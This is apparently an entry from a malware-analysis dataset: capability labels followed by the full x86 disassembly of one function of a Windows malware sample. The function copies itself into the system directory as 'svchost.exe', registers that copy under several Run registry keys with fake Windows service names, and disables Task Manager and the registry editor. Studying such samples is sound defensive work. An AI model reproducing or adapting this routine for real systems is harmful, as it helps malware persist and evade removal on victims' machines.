Function at 0x402740
Capabilities:
Copy file
Create directory
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x108]
push 0x104
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x110], 1
lea eax, [ebp - 0x108]
push 0x103
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x4029f6
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4027a0
push esi
mov esi, 0x103
sub ecx, edx
push edi
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncat]
mov eax, esi
sub eax, ecx
push eax
lea eax, [ebp - 0x108]
push 0x40536c
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x108]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4029f4
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4027f0
sub ecx, edx
lea eax, [ebp - 0x108]
sub esi, ecx
push esi
push str._svchost.exe
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x108]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4029f4
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40288a
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402860
sub ecx, edx
lea eax, [ebp - 0x108]
push ecx
push eax
push 1
push 0
push str.Generic_Host_Process_for_Win32_Services
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call ebx
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call esi
test eax, eax
jne 0x4028da
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4028b0
sub ecx, edx
lea eax, [ebp - 0x108]
push ecx
push eax
push 1
push 0
push str.Windows_Updater
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call ebx
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
push 0x80000002
call esi
test eax, eax
jne 0x40292a
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402900
sub ecx, edx
lea eax, [ebp - 0x108]
push ecx
push eax
push 1
push 0
push str.Windows_Server
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call ebx
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call esi
test eax, eax
jne 0x40297a
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402950
sub ecx, edx
lea eax, [ebp - 0x108]
push ecx
push eax
push 1
push 0
push str.Generic
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call ebx
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call esi
test eax, eax
jne 0x4029b7
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call ebx
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call esi
test eax, eax
jne 0x4029f4
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableRegistrytools
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call ebx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00403354
mov esp, ebp
pop ebp
ret